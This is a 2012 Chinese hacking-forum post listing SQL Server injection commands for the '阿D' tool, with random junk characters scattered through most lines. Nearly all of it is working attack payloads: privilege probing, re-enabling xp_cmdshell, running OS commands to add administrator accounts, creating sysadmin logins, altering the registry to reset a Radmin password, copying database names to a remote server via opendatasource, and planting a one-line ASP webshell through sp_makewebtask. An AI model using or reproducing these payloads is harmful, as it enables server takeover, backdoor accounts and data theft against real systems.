找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1860|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令) H( q3 }9 k3 g& J8 M; |$ I- K# r! S8 r
//看看是什么权限的
0 h0 o( T9 N9 Z# s6 j  K" Uand 1=(Select IS_MEMBER('db_owner'))
/ C7 }8 @- s1 n9 g) t1 NAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--8 K/ E5 G: T, P6 E3 B* W

7 W( C4 _  P3 ]! v//检测是否有读取某数据库的权限- h* ~2 R. l2 f
and 1= (Select HAS_DBACCESS('master'))
8 h4 `  _' |' c$ z5 N% KAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
2 \3 U0 ^8 c6 D& y( ^
  `' d8 |$ p9 Y0 N; {2 y' w& u! r+ H; r# d. a( A+ m
数字类型
% M9 q0 \/ ~0 h" @and char(124)%2Buser%2Bchar(124)=0
! z# G. d( U) [8 R: S. T4 R6 ]  b8 ]- u' l) w1 s& u$ V: `& C
字符类型9 L0 m0 G# i7 L2 ]- O
' and char(124)%2Buser%2Bchar(124)=0 and ''='
2 [. T4 N* }6 {7 I) n) k$ R# G1 N% l8 J5 J; L) |- G" J) J
搜索类型
0 X. ^- J! o; I7 @' and char(124)%2Buser%2Bchar(124)=0 and '%'='! G& B1 w& k  m5 h$ U% V

5 G4 N% {. j, g7 S5 P/ g' `# ^爆用户名0 U( @" a/ M( {) b; b
and user>0
! ^  q3 x' Y( [8 R1 u' and user>0 and ''='4 a/ ?4 t' ]# @( \

" V* h# f+ C6 m8 t检测是否为SA权限0 u' U" r% [+ [% g6 q& \3 |3 g2 \
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: @6 Q8 M6 l. ?; d! d9 o% hAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --: u0 f; l9 E5 q
- W6 t; @3 n/ L8 \$ ^
检测是不是MSSQL数据库
+ `" i. u% d$ G7 Q6 b0 Q5 C& wand exists (select * from sysobjects);--
! s+ ^: \0 Y5 Q3 @% D+ i/ u; M. K- D' R9 |& E# B, U
检测是否支持多行. {; P- X9 U7 w3 m) p. G$ i
;declare @d int;--
/ c8 x4 x" b  r! }
; w: w: z$ s( y0 c* s# x7 c恢复 xp_cmdshell8 T& F) d7 b  d& ?0 Z/ Q
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--0 f6 m5 k8 l- c3 M& J3 c

. b( P! n5 u4 F6 |& d
! n* H* E4 S: e8 lselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 4 ]1 }: V2 |6 p5 B0 h: X$ f2 r

& v& r9 |6 A0 |( b: P) V9 K//-----------------------
1 `6 F! w! [6 m//      执行命令
' s  k: T5 x- A. r. z5 Q//-----------------------# D% ^' ^2 Z5 `7 d
首先开启沙盘模式:1 i0 ^9 }; C3 D
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
& h  X1 }8 \  s5 y; p4 N4 [, t$ {! e$ `" E; ]7 j# H6 s
然后利用jet.oledb执行系统命令6 [0 E$ _, s: F1 L' Z5 T
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'): a8 Y5 H6 ?3 }* H5 ~6 y5 S, ?

+ v- {& o2 W) P- A执行命令8 g; |- E7 ~* B8 x% j) D: M
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--: V9 W) ]; l3 i; U- Q5 I7 v
5 Q+ C4 [% ~; G* m  T9 F
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'' |8 i1 P/ |. k* B
6 n6 A) M1 U0 o& Q
判断xp_cmdshell扩展存储过程是否存在:! I- d- e3 N! ]5 M# N' a9 L6 e. o5 F
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')" K$ O8 I7 {5 @5 |
; r5 L; Q+ L- q% y5 o
写注册表
8 o# Y0 T5 R# j* texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',17 l1 D9 L' j2 T. F
0 _4 J) c  H" P6 u! K' V4 F. M, ?' d7 [
REG_SZ
& d0 U4 U9 ~9 I+ Y) h
' ~: p4 g2 A0 E读注册表7 Y! r  a7 m* K, F
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'4 ~6 N4 Q" M9 @7 W

8 u# q* I2 h8 b读取目录内容' w  a) r1 Y+ D) H2 n
exec master..xp_dirtree 'c:\winnt\system32\',1,1
- Q8 Y9 r+ O3 k4 X" f
; o9 e2 P- A) E) L' J
4 x: X/ g  l) X& Q1 U; c数据库备份
- a1 A" l( R' M3 I  wbackup database pubs to disk = 'c:\123.bak'* ^7 J' K2 k6 B  L+ I1 p
9 B  Z1 a: s  k8 ]1 R
//爆出长度
6 T( X( u; G. d4 z% D$ IAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--# Q; U$ Q8 ~; U$ \, `- A' @
7 T# h2 l6 O9 j# I7 ?- c; ?: k

( T( Z, Y( V% E/ c" q' ^/ p$ A/ k
更改sa口令方法:用sql综合利用工具连接后,执行命令:
5 p. r1 i2 C" w3 a5 bexec sp_password NULL,'新密码','sa'
9 B0 t7 @' c: O7 K( l: j- e
6 K) x$ n& l( R% w/ c. ]添加和删除一个SA权限的用户test:; i9 F) |1 q4 r  g  U) p
exec master.dbo.sp_addlogin test,ptlove$ h9 t7 ^! v# I6 b' d  ~! C
exec master.dbo.sp_addsrvrolemember test,sysadmin
8 u5 K9 W- N' R- k2 C- o) g6 ^7 J3 x' H/ {* D/ w3 \' z' [: ~- z
删除扩展存储过过程xp_cmdshell的语句: 9 O! a+ ?  [+ N" L' A" ?) o
exec sp_dropextendedproc 'xp_cmdshell'; Q) O5 y0 N% t' t2 T

. m3 t+ j- q# h5 l& y) v! d添加扩展存储过过程
+ m% W+ ]$ y0 i# uEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
( S( Y- ~5 ~) T8 g  P% n5 P5 G5 VGRANT exec On xp_proxiedadata TO public
0 e( [5 Q# p7 p% d$ y4 k% _; Y) P6 o8 h$ K6 ?# l2 I2 p
, q0 H! X3 a+ N% ]4 F- [
停掉或激活某个服务。
2 Q8 o3 K9 Z+ A+ ^! [3 T' P
1 y1 v! \7 @) A. d; sexec master..xp_servicecontrol 'stop','schedule'
7 M4 R  D  h% U" [+ Kexec master..xp_servicecontrol 'start','schedule'% E9 L8 Z$ e/ @: }! `& A

# {* |$ ?% ^9 r3 edbo.xp_subdirs; K& m; D# i9 p# y

) s+ s8 V) b; }% p- W# B) _" j只列某个目录下的子目录。4 t$ I9 T/ I9 S; B$ c2 B" P0 u
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'8 l  d" G6 \- h
% z7 s2 Q; L4 |( F# g) ~5 c8 h
dbo.xp_makecab
% `/ x: P0 t3 i+ c6 D# v1 z4 i* @, c& P
将目标多个档案压缩到某个目标档案之内。
( F( O, w- L' i1 L+ d/ Z所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
) L# W" ~$ ^) t. ?/ n! [1 C; c
9 S) o: r! d+ q6 ~3 _dbo.xp_makecab+ ]/ ^* m0 L- g! {7 J+ v1 y
'c:\test.cab','mszip',1,5 Y' }+ \$ a* ?- t# y
'C:\Inetpub\wwwroot\SQLInject\login.asp',4 K9 U6 u' y$ i" ~
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
. k+ k; y  w% I; p) s  B+ z# ]- |+ ^0 q8 e4 }
xp_terminate_process5 A* C+ c3 D8 \' j, s  w

7 R/ g& [: M5 `* M$ y* X停掉某个执行中的程序,但赋予的参数是 Process ID。
$ c2 z& n0 m. p& a; o! S利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID1 x1 p& Q) F# v5 h# X
/ E* ^' b  M# I" J) O
xp_terminate_process 2484+ W5 }0 M: W- d5 i/ |
- v* p9 c5 [* T" F& o
xp_unpackcab3 L# x$ X) `$ r  b( ]$ |* f) h' S
6 a" X$ k: b0 N7 g' N
解开压缩档。
$ m  V' d. t* h7 }) n, [) M8 |- x9 V2 N8 W5 J/ U& ~* ?  B4 q
xp_unpackcab 'c:\test.cab','c:\temp',1
+ I+ D( U& S/ t8 _3 m' d7 B
& y' V: v  N! x% ]/ ^4 y) ]+ t
  u6 ?+ _( H& D/ H3 f某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234) x8 k0 V1 k$ I3 I$ z

+ P. n  z% M6 ^0 ?$ q5 u7 ~1 Rcreate database lcx;. l, w2 z9 w, h3 P! v
Create TABLE ku(name nvarchar(256) null);
# @" m+ _; S. B8 z# TCreate TABLE biao(id int NULL,name nvarchar(256) null);7 q9 Y; a5 |0 [
5 f7 z( L  T. V
//得到数据库名
, ?1 w) m$ b6 }" Xinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases% t% H) i+ ]- x8 F" s" Y' S1 x9 p
0 |0 H5 e4 X6 ?3 W; H* q
$ C. H# A/ @( T8 _9 s
//在Master中创建表,看看权限怎样+ T; v' ^+ |0 r5 x. n# W
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
$ }0 I3 q( z  d
) h0 L2 M( R! F5 k) E$ G9 G用 sp_makewebtask直接在web目录里写入一句话马:2 \7 ?& u; l/ j" q  @" ^, B
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--$ |9 @+ Z& U" ]) z5 W( U
" j5 \6 a; B1 L1 G# j+ j
//更新表内容0 ~4 Z3 P( Q0 p* |4 {) g
Update films SET kind = 'Dramatic' Where id = 123' B/ P" a2 ^0 ~& V
* A! i; }; z9 h3 @  I; Z
//删除内容
0 {$ L% |, J. y! |8 H& ?6 G# odelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表